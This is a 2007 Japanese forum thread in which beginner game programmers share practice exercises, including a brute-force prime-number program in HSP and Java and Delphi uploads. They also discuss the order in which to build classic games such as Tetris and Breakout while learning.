- 654 名前:名前は開発中のものです。 mailto:sage [2007/03/23(金) 01:18:56 ID:GKwkgx4A]
- なるほど。自機が○で弾は点かと思ってた。自機四角か。
画像処理はあんまり詳しくないので 他の先生の登場を待ってください。ごめんなさいね。
- 655 名前:名前は開発中のものです。 mailto:sage [2007/04/04(水) 09:47:03 ID:BbjO+U02]
- javaでslg作りたいキチガイです。
課題1 gamdev.org/up/img/9260.zip buttonとかlayoutとかさっぱり…疲れた
- 656 名前:名前は開発中のものです。 mailto:sage [2007/04/04(水) 09:56:18 ID:BbjO+U02]
- >>655
0〜9までの数になってたorz 修正 gamdev.org/up/img/9261.zip
- 657 名前:名前は開発中のものです。 mailto:sage [2007/04/05(木) 03:22:08 ID:juxaiBkl]
- HSPを勉強中なので、素数問題に挑戦してみた。
素数の出し方がよくわからないから総当り&最初いんちき。 screen 0,450,400 : font "MS ゴシック",12 : objmode 2 so = "" : max = 10000 : maxs = 1000 : a = 2 mesbox so,450,320 pos 12,333 : mes "try" : pos 50,330 : input max,100,20,5 pos 220,330 : button gosub "start",*gogo pos 12,358 : mes "get" : pos 50,355 : input maxs,100,20,5 stop *gogo if btn : a = max + 1 : btn = 0 : return sdim so,max*4 objprm 2,"stop" : objprm 0,so : btn = 1 : so = "" : a = 2 : s = 0 : d = 0 : len = 0 repeat max repeat a,1 c = a\cnt : if c = 0 : s++ : if s > 2 : break loop if s < 3{ d++ : sa = strf("%5d",a) poke so,len,sa : len += strsize if d \ 10 = 0{ poke so,len,"\n" : len += strsize title "" + cnt }else{ poke so,len,", " : len += strsize } } s = 0 : a++ : if (a > max) or (d >= maxs) : break wait 0 loop objprm 0,so : objprm 2,"start" : btn = 0 : title " get = " + d return
- 658 名前:名前は開発中のものです。 mailto:sage [2007/04/05(木) 09:48:52 ID:F5eNq3r+]
- 同じHsp初心者なはずなのに、なにがどうなってるのか解読できん。
俺の素数プログラムは偉くシンプルなのにな。 こういう見やすい感じのつくれるようになりたいけど、さっぱりなんだよな。 最近はやる気起きないし。
- 659 名前:名前は開発中のものです。 mailto:sage [2007/04/07(土) 15:27:26 ID:7tS8COUW]
- gamdev.org/up/img/9276.zip
Delphiで数当て作りました
- 660 名前:名前は開発中のものです。 mailto:sage [2007/04/11(水) 23:27:29 ID:hGtX8W0q]
- 課題の1〜11までやったんで段階的学習に移ろうと思うんだが
15 インベーダー テトリス ブロックくずし オセロ ぷよぷよ パックマン マリオ ギャラガ この順番でおk?
- 661 名前:名前は開発中のものです。 mailto:sage [2007/04/13(金) 03:50:36 ID:DE3aw73g]
- 最終的に何が作りたいかにもよるけど、だいだいOK
- 662 名前:名前は開発中のものです。 mailto:sage [2007/04/13(金) 07:00:29 ID:ePt0UiZ0]
- >>661thanks!
申し遅れました>>655です javaでSLG作ろうと思ってるdqnです 以前に、基本だけ勉強してSLG作成に突撃したことがあるんだけど、 クラス数が多くなって管理しきれなくなって玉砕w あせらず、ゲーム作りってのを学んで、それから再挑戦するつもり じゃあ15から行ってくるノシ
- 663 名前:名前は開発中のものです。 [2007/04/13(金) 07:11:48 ID:HSdmSo3i]
-
- 664 名前:名前は開発中のものです。 mailto:sage [2007/04/15(日) 20:45:16 ID:/fPrY/bJ]
- >>660
テトリスとブロックくずしは逆でもいいかもな って遅いか
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